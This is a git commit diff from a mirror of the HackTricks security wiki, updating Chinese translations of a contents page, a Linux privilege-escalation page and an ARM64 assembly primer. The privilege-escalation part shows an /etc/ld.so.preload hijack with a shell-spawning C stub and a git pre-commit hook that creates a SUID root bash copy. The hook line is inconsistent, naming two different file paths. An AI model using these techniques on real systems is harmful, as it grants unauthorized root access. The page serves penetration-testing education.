mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['linux-hardening/privilege-escalation/write-to-root.md', 'ma
This commit is contained in:
parent
01d6f3ddad
commit
3229584e27
3 changed files with 167 additions and 172 deletions
|
@ -83,8 +83,10 @@
|
|||
|
||||
* [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
* [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
* [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
* [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
* [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
* [Docker Security](linux-hardening/privilege-escalation/docker-security/README.md)
|
||||
* [Abusing Docker Socket for Privilege Escalation](linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md)
|
||||
* [AppArmor](linux-hardening/privilege-escalation/docker-security/apparmor.md)
|
||||
|
@ -108,15 +110,14 @@
|
|||
* [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md)
|
||||
* [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md)
|
||||
* [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md)
|
||||
* [Logstash](linux-hardening/privilege-escalation/logstash.md)
|
||||
* [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
* [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md)
|
||||
* [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
|
||||
* [Logstash](linux-hardening/privilege-escalation/logstash.md)
|
||||
* [ld.so privesc exploit example](linux-hardening/privilege-escalation/ld.so.conf-example.md)
|
||||
* [Linux Active Directory](linux-hardening/privilege-escalation/linux-active-directory.md)
|
||||
* [Linux Capabilities](linux-hardening/privilege-escalation/linux-capabilities.md)
|
||||
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
* [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [Payloads to execute](linux-hardening/privilege-escalation/payloads-to-execute.md)
|
||||
* [RunC Privilege Escalation](linux-hardening/privilege-escalation/runc-privilege-escalation.md)
|
||||
* [SELinux](linux-hardening/privilege-escalation/selinux.md)
|
||||
|
@ -124,7 +125,6 @@
|
|||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||
* [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
||||
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
||||
|
|
|
@ -4,12 +4,12 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@
|
|||
### /etc/ld.so.preload
|
||||
|
||||
这个文件的行为类似于**`LD_PRELOAD`**环境变量,但它也适用于**SUID二进制文件**。\
|
||||
如果您可以创建或修改它,只需添加一个**将与每个执行的二进制文件一起加载的库的路径**。
|
||||
如果您可以创建或修改它,只需添加一个**将随每个执行的二进制文件一起加载的库的路径**。
|
||||
|
||||
例如:`echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
|
@ -36,25 +36,21 @@ system("/bin/bash");
|
|||
```
|
||||
### Git hooks
|
||||
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件上运行的**脚本**,比如创建提交、合并等。因此,如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**,这可能被用于**提权**。
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件(例如创建提交,合并等)上运行的**脚本**。因此,如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**,这可能被用于**提权**。
|
||||
|
||||
例如,可以在git存储库的**`.git/hooks`**中生成一个脚本,这样每当创建新提交时就会被执行:
|
||||
例如,可以在git存储库的**`.git/hooks`**中生成一个脚本,以便在创建新提交时始终执行:
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
{% endcode %}
|
||||
### Cron & Time files
|
||||
|
||||
<details>
|
||||
待办事项
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
### Service & Socket files
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
待办事项
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
### binfmt_misc
|
||||
|
||||
</details>
|
||||
位于`/proc/sys/fs/binfmt_misc`的文件指示哪个二进制文件应该执行哪种类型的文件。待办事项:检查滥用此功能以在打开常见文件类型时执行反向shell的要求。
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -20,22 +20,22 @@
|
|||
|
||||
1. **EL0 - 用户模式**:
|
||||
* 这是最低特权级别,用于执行常规应用程序代码。
|
||||
* 在EL0运行的应用程序彼此之间以及与系统软件隔离,增强安全性和稳定性。
|
||||
* 在EL0上运行的应用程序彼此之间以及与系统软件隔离,增强安全性和稳定性。
|
||||
2. **EL1 - 操作系统内核模式**:
|
||||
* 大多数操作系统内核在此级别运行。
|
||||
* EL1比EL0具有更多特权,并且可以访问系统资源,但受一些限制以确保系统完整性。
|
||||
3. **EL2 - 虚拟化模式**:
|
||||
* 此级别用于虚拟化。在EL2运行的虚拟机监视程序可以管理在同一物理硬件上运行的多个操作系统(每个在其自己的EL1中)。
|
||||
* 此级别用于虚拟化。在EL2上运行的虚拟机监视程序可以管理在同一物理硬件上运行的多个操作系统(每个在其自己的EL1中)。
|
||||
* EL2提供了隔离和控制虚拟化环境的功能。
|
||||
4. **EL3 - 安全监视器模式**:
|
||||
* 这是最高特权级别,通常用于安全引导和受信任执行环境。
|
||||
* EL3可以管理和控制安全和非安全状态之间的访问(例如安全引导,受信任操作系统等)。
|
||||
* 这是最高特权级别,通常用于安全引导和可信执行环境。
|
||||
* EL3可以管理和控制安全和非安全状态之间的访问(例如安全引导,可信OS等)。
|
||||
|
||||
使用这些级别可以以结构化和安全的方式管理系统的不同方面,从用户应用程序到最高特权的系统软件。ARMv8对特权级别的处理有助于有效隔离不同的系统组件,从而增强系统的安全性和稳健性。
|
||||
|
||||
## **寄存器(ARM64v8)**
|
||||
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个可以存储**64位**(8字节)值。对于需要仅使用32位值的操作,可以使用相同的寄存器以32位模式访问,名称为w0到w30。
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个可以存储**64位**(8字节)的值。对于需要仅使用32位值的操作,可以使用相同的寄存器以32位模式访问,名称为w0到w30。
|
||||
|
||||
1. **`x0`**到**`x7`** - 这些通常用作临时寄存器和用于向子例程传递参数。
|
||||
* **`x0`**还携带函数的返回数据
|
||||
|
@ -47,32 +47,33 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个可以存储**6
|
|||
6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供调用者使用,因此它们存储在堆栈中,并在返回给调用者之前恢复。
|
||||
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当因为调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈中**,并且新的帧指针地址(**`sp`**地址)被**存储在此寄存器中**。
|
||||
* 此寄存器也可以用作**通用寄存器**,尽管通常用作**局部变量的引用**。
|
||||
8. **`x30`**或**`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,通过将**`pc`**值存储在此寄存器中来保存**返回地址**。
|
||||
8. **`x30`**或**`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,存储**`pc`**值在此寄存器中时,它保存**返回地址**。
|
||||
* 它也可以像其他寄存器一样使用。
|
||||
* 如果当前函数将调用新函数,因此覆盖`lr`,它将在堆栈中存储它在开始时,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储`fp`和`lr`,生成空间并获取新的`fp`),并在结束时恢复它,这是序言(`ldp x29, x30, [sp], #48; ret` -> 恢复`fp`和`lr`并返回)。
|
||||
9. **`sp`** - **堆栈指针**,用于跟踪堆栈顶部。
|
||||
* **`sp`**值应始终保持至少**四字对齐**,否则可能会发生对齐异常。
|
||||
10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支来更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR),用于将**`pc`**地址存储在**`lr`**(链接寄存器)中。
|
||||
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可用于轻松获取零值(常见操作)或使用**`subs`**执行比较,例如**`subs XZR, Xn, #10`**,将结果数据存储在任何地方(在**`xzr`**中)。
|
||||
10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR)以将**`pc`**地址存储在**`lr`**(链接寄存器)中。
|
||||
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可用于轻松获取零值(常见操作)或使用**`subs`**执行比较,如**`subs XZR, Xn, #10`**将结果数据存储在任何地方(在**`xzr`**中)。
|
||||
|
||||
**`Wn`**寄存器是**`Xn`**寄存器的**32位**版本。
|
||||
|
||||
### SIMD和浮点寄存器
|
||||
|
||||
此外,还有另外**32个长度为128位的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以以**64**位、**32**位、**16**位和**8**位运行,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
|
||||
|
||||
### 系统寄存器
|
||||
|
||||
**数百个系统寄存器**,也称为特殊目的寄存器(SPRs),用于**监视**和**控制****处理器**的行为。\
|
||||
只能使用专用指令**`mrs`**和**`msr`**读取或设置它们。
|
||||
**有数百个系统寄存器**,也称为特殊目的寄存器(SPRs),用于**监视**和**控制** **处理器**的行为。\
|
||||
它们只能使用专用特殊指令**`mrs`**和**`msr`**来读取或设置。
|
||||
|
||||
在逆向工程中通常会发现特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**。`EL0`后缀表示可以从中访问寄存器的**最低异常**(在本例中EL0是常规程序运行的特权级别)。\
|
||||
它们通常用于存储内存中线程本地存储区域的**基址**。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1中写入(如内核)。
|
||||
特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**在逆向工程中经常被发现。`EL0`后缀表示可以从中访问寄存器的**最小异常**(在这种情况下,EL0是常规程序运行的异常(特权)级别)。\
|
||||
它们通常用于存储内存中**线程本地存储**区域的基址。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1(如内核)中写入。
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; 将 TPIDR_EL0 读入 x0`
|
||||
* `msr TPIDR_EL0, X0 ; 将 x0 写入 TPIDR_EL0`
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; 将TPIDR_EL0读入x0`
|
||||
* `msr TPIDR_EL0, X0 ; 将x0写入TPIDR_EL0`
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** 包含几个进程组件,序列化到操作系统可见的 **`SPSR_ELx`** 特殊寄存器中,其中 X 是触发的异常的 **权限级别**(这允许在异常结束时恢复进程状态)。\
|
||||
**PSTATE** 包含几个进程组件序列化到操作系统可见的**`SPSR_ELx`**特殊寄存器中,其中 X 是**触发的**异常的**权限** **级别**(这允许在异常结束时恢复进程状态)。\
|
||||
这些是可访问的字段:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -80,165 +81,163 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个可以存储**6
|
|||
* **`N`**、**`Z`**、**`C`** 和 **`V`** 条件标志:
|
||||
* **`N`** 表示操作产生了负结果
|
||||
* **`Z`** 表示操作产生了零
|
||||
* **`C`** 表示操作进行了进位
|
||||
* **`C`** 表示操作进行了
|
||||
* **`V`** 表示操作产生了有符号溢出:
|
||||
* 两个正数相加得到负结果。
|
||||
* 两个负数相加得到正结果。
|
||||
* 在减法中,当从较小的正数中减去较大的负数(或反之),并且结果无法在给定位大小的范围内表示时。
|
||||
* 显然,处理器不知道操作是有符号还是无符号的,因此它将在操作中检查 C 和 V,并指示是否发生了进位。
|
||||
* 两个正数的和产生负结果。
|
||||
* 两个负数的和产生正结果。
|
||||
* 在减法中,当从较小的正数(或反之亦然)中减去一个较大的负数,并且结果无法在给定位大小的范围内表示时。
|
||||
* 显然,处理器不知道操作是有符号的还是无符号的,因此它将在操作中检查 C 和 V,并指示是否发生了进位。
|
||||
|
||||
{% hint style="warning" %}
|
||||
并非所有指令都会更新这些标志。一些指令如 **`CMP`** 或 **`TST`** 会更新,而像 **`ADDS`** 这样带有 s 后缀的指令也会更新。
|
||||
并非所有指令都会更新这些标志。一些像**`CMP`**或**`TST`**这样的指令会更新,而像**`ADDS`**这样带有 s 后缀的其他指令也会更新。
|
||||
{% endhint %}
|
||||
|
||||
* 当前的 **寄存器宽度 (`nRW`) 标志**:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
|
||||
* 当前的 **异常级别**(**`EL`**):在 EL0 中运行的常规程序将具有值 0
|
||||
* **单步执行** 标志(**`SS`**):调试器使用单步执行标志将 SS 标志设置为 1,通过异常在 **`SPSR_ELx`** 中运行一步并发出单步执行异常。
|
||||
* **非法异常** 状态标志(**`IL`**):用于标记特权软件执行无效的异常级别转移时,此标志设置为 1,处理器触发非法状态异常。
|
||||
* 当前的**寄存器宽度 (`nRW`) 标志**:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
|
||||
* 当前的**异常级别**(**`EL`**):在 EL0 中运行的常规程序将具有值 0
|
||||
* **单步执行**标志(**`SS`**):调试器使用单步执行标志设置 **`SPSR_ELx`** 中的 SS 标志为 1。程序将运行一步并发出单步执行异常。
|
||||
* **非法异常**状态标志(**`IL`**):用于标记特权软件执行无效的异常级别转移时,此标志设置为 1,处理器触发非法状态异常。
|
||||
* **`DAIF`** 标志:这些标志允许特权程序有选择地屏蔽某些外部异常。
|
||||
* 如果 **`A`** 为 1,则会触发 **异步中止**。**`I`** 配置为响应外部硬件 **中断请求**(IRQs)。而 F 与 **快速中断请求**(FIRs)有关。
|
||||
* **堆栈指针选择** 标志(**`SPS`**):在 EL1 及以上特权程序中运行时,可以在使用自己的堆栈指针寄存器和用户模型之间进行切换(例如,在 `SP_EL1` 和 `EL0` 之间)。通过写入 **`SPSel`** 特殊寄存器来执行此切换。无法从 EL0 中执行此操作。
|
||||
* 如果 **`A`** 为 1,则将触发**异步中止**。**`I`** 配置以响应外部硬件**中断请求**(IRQs)。而 F 与**快速中断请求**(FIRs)有关。
|
||||
* **堆栈指针选择**标志(**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换(例如,在 `SP_EL1` 和 `EL0` 之间)。通过写入**`SPSel`**特殊寄存器来执行此切换。无法从 EL0 中执行此操作。
|
||||
|
||||
## **调用约定(ARM64v8)**
|
||||
|
||||
ARM64 调用约定指定函数的 **前八个参数** 通过寄存器 **`x0` 到 `x7`** 传递。**额外** 参数通过 **堆栈** 传递。**返回** 值通过寄存器 **`x0`** 返回,如果返回值为 128 位,则也可以返回到 **`x1`**。必须在函数调用之间保留 **`x19`** 到 **`x30`** 和 **`sp`** 寄存器。
|
||||
ARM64 调用约定指定函数的**前八个参数**通过寄存器**`x0` 到 `x7`**传递。**额外**的参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**返回,如果其长度为 128 位,则也可以返回到**`x1`**。必须在函数调用之间保留**`x19`**到**`x30`**和**`sp`**寄存器。
|
||||
|
||||
在汇编中阅读函数时,查找 **函数序言和尾声**。**序言** 通常涉及 **保存帧指针 (`x29`)**,**设置** 新的 **帧指针**,和 **分配堆栈空间**。**尾声** 通常涉及 **恢复保存的帧指针** 和 **从函数返回**。
|
||||
在汇编中阅读函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针 (`x29`)**,**设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
|
||||
|
||||
### Swift 中的调用约定
|
||||
|
||||
Swift 有其自己的 **调用约定**,可以在 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) 找到。
|
||||
Swift 有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
|
||||
|
||||
## **常见指令(ARM64v8)**
|
||||
|
||||
ARM64 指令通常具有格式 `opcode dst, src1, src2`,其中 **`opcode`** 是要执行的 **操作**(如 `add`、`sub`、`mov` 等),**`dst`** 是将存储结果的 **目标** 寄存器,**`src1`** 和 **`src2`** 是 **源** 寄存器。也可以使用立即值代替源寄存器。
|
||||
ARM64 指令通常具有**格式 `opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如 `add`、`sub`、`mov` 等),**`dst`**是将存储结果的**目标**寄存器,**`src1`** 和 **`src2`** 是**源**寄存器。也可以使用立即值代替源寄存器。
|
||||
|
||||
* **`mov`**:将一个 **寄存器** 中的值移动到另一个寄存器中。
|
||||
* 示例:`mov x0, x1` — 这将从 `x1` 移动值到 `x0`。
|
||||
* **`ldr`**:将 **内存** 中的值加载到 **寄存器** 中。
|
||||
* 示例:`ldr x0, [x1]` — 这将从 `x1` 指向的内存位置加载值到 `x0`。
|
||||
* **`mov`**:将一个值从一个**寄存器**移动到另一个寄存器。
|
||||
* 示例:`mov x0, x1` — 这将从 `x1` 移动的值到 `x0`。
|
||||
* **`ldr`**:将**内存**中的值加载到**寄存器**中。
|
||||
* 示例:`ldr x0, [x1]` — 这将从 `x1` 指向的内存位置加载的值到 `x0`。
|
||||
* **偏移模式**:指示影响原始指针的偏移量,例如:
|
||||
* `ldr x2, [x1, #8]`,这将在 x2 中加载 x1 + 8 的值
|
||||
* `ldr x2, [x0, x1, lsl #2]`,这将在 x2 中加载数组 x0 中位置 x1(索引)\* 4 处的对象
|
||||
* **预索引模式**:这将对原始进行计算,获取结果并将新原始存储在原始中。
|
||||
* `ldr x2, [x1, #8]!`,这将在 `x2` 中加载 `x1 + 8`,并将 `x1` 更新为 `x1 + 8` 的结果
|
||||
* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中,并更新寄存器 sp
|
||||
* **后索引模式**:与前一个类似,但首先访问内存地址,然后计算并存储偏移量。
|
||||
* `ldr x0, [x1], #8`,加载 `x1` 到 `x0`,并更新 `x1` 为 `x1 + 8`
|
||||
* **相对于 PC 的寻址**:在这种情况下,相对于 PC 寄存器计算要加载的地址
|
||||
* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址到 x1,相对于当前 PC。
|
||||
* **`str`**:将 **寄存器** 中的值存储到 **内存** 中。
|
||||
* `ldr x2, [x1, #8]`,这将在 x1 + 8 中加载 x2 的值
|
||||
* `ldr x2, [x0, x1, lsl #2]`,这将在数组 x0 中的位置 x1(索引)\* 4 中加载 x2 的对象
|
||||
* **预索引模式**:这将对原始应用计算,获取结果并将新原始存储在原始中。
|
||||
* `ldr x2, [x1, #8]!`,这将加载 `x1 + 8` 到 `x2` 并将 `x1 + 8` 的结果存储在 `x1` 中
|
||||
* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中并更新寄存器 sp
|
||||
* **后索引模式**:与前一个模式类似,但是首先访问内存地址,然后计算并存储偏移量。
|
||||
* `ldr x0, [x1], #8`,加载 `x1` 到 `x0` 并使用 `x1 + 8` 更新 x1
|
||||
* **相对于 PC 寄存器的寻址**:在这种情况下,相对于 PC 寄存器计算要加载的地址
|
||||
* `ldr x1, =_start`,这将加载与当前 PC 相关的 `_start` 符号开始的地址到 x1 中。
|
||||
* **`str`**:将**寄存器**中的值存储到**内存**中。
|
||||
* 示例:`str x0, [x1]` — 这将将 `x0` 中的值存储到 `x1` 指向的内存位置。
|
||||
* **`ldp`**:**加载一对寄存器**。此指令从 **连续内存** 位置加载两个寄存器。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* **`ldp`**:**加载一对寄存器**。此指令从**连续内存**位置加载两个寄存器。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* 示例:`ldp x0, x1, [x2]` — 这将从 `x2` 和 `x2 + 8` 处的内存位置分别加载 `x0` 和 `x1`。
|
||||
* **`stp`**:**存储一对寄存器**。此指令将两个寄存器存储到 **连续内存** 位置。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* **`stp`**:**存储一对寄存器**。此指令将两个寄存器存储到**连续内存**位置。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* 示例:`stp x0, x1, [sp]` — 这将 `x0` 和 `x1` 存储到 `sp` 和 `sp + 8` 处的内存位置。
|
||||
* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 处的内存位置,并将 `sp` 更新为 `sp+16`。
|
||||
* **`add`**:将两个寄存器的值相加并将结果存储在一个寄存器中。
|
||||
* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
|
||||
* Xn1 -> 目的地
|
||||
* Xn2 -> 操作数 1
|
||||
* Xn3 | #imm -> 操作数 2(寄存器或立即数)
|
||||
* \[shift #N | RRX] -> 执行移位或调用 RRX
|
||||
* 示例:`add x0, x1, x2` — 这将将 `x1` 和 `x2` 中的值相加,并将结果存储在 `x0` 中。
|
||||
* `add x5, x5, #1, lsl #12` — 这等同于 4096(左移 12 次的 1) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** 这执行一个 `add` 并更新标志
|
||||
* **`sub`**:将两个寄存器的值相减并将结果存储在一个寄存器中。
|
||||
* 检查 **`add`** **语法**。
|
||||
* 示例:`sub x0, x1, x2` — 这将从 `x1` 中减去 `x2` 的值,并将结果存储在 `x0` 中。
|
||||
* **`subs`** 这类似于 sub,但会更新标志位
|
||||
* **`mul`**:将两个寄存器的值相乘,并将结果存储在一个寄存器中。
|
||||
* 示例:`mul x0, x1, x2` — 这将对 `x1` 和 `x2` 中的值进行相乘,并将结果存储在 `x0` 中。
|
||||
* Xn2 -> 操作数1
|
||||
* Xn3 | #imm -> 操作数2(寄存器或立即数)
|
||||
* \[shift #N | RRX\] -> 执行移位或调用RRX
|
||||
* 示例:`add x0, x1, x2` — 这将把`x1`和`x2`的值相加,并将结果存储在`x0`中。
|
||||
* `add x5, x5, #1, lsl #12` — 这等于4096(1左移12位) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** 这执行一个`add`并更新标志位
|
||||
* **`sub`**:从两个寄存器中减去值并将结果存储在一个寄存器中。
|
||||
* 检查**`add`**的**语法**。
|
||||
* 示例:`sub x0, x1, x2` — 这将从`x1`中减去`x2`的值,并将结果存储在`x0`中。
|
||||
* **`subs`** 这类似于sub但会更新标志位
|
||||
* **`mul`**:将**两个寄存器**的值相乘并将结果存储在一个寄存器中。
|
||||
* 示例:`mul x0, x1, x2` — 这将把`x1`和`x2`的值相乘,并将结果存储在`x0`中。
|
||||
* **`div`**:将一个寄存器的值除以另一个寄存器的值,并将结果存储在一个寄存器中。
|
||||
* 示例:`div x0, x1, x2` — 这将对 `x1` 中的值除以 `x2` 中的值,并将结果存储在 `x0` 中。
|
||||
* 示例:`div x0, x1, x2` — 这将把`x1`的值除以`x2`的值,并将结果存储在`x0`中。
|
||||
* **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**:
|
||||
* **逻辑左移**:从末尾添加 0 并将其他位向前移动(乘以 n 次 2)
|
||||
* **逻辑右移**:在开头添加 1 并将其他位向后移动(在无符号情况下除以 n 次 2)
|
||||
* **算术右移**:类似于 **`lsr`**,但如果最高有效位为 1,则添加 1(在有符号情况下除以 n 次 2)
|
||||
* **右旋转**:类似于 **`lsr`**,但从右侧移除的内容会附加到左侧
|
||||
* **带扩展的右旋转**:类似于 **`ror`**,但将进位标志作为“最高有效位”。因此,将进位标志移动到位 31,将移除的位移动到进位标志。
|
||||
* **`bfm`**:**位字段移动**,这些操作会从一个值中复制位 `0...n`,并将其放置在位置 `m..m+n`。**`#s`** 指定最左侧位的位置,**`#r`** 指定右旋转量。
|
||||
* **逻辑左移**:从末尾添加0,将其他位向前移动(乘以n次2)
|
||||
* **逻辑右移**:在开始添加1,将其他位向后移动(在无符号情况下除以n次2)
|
||||
* **算术右移**:类似于**`lsr`**,但如果最高有效位为1,则添加1(在有符号情况下除以n次2)
|
||||
* **右旋转**:类似于**`lsr`**,但从右侧移除的内容会添加到左侧
|
||||
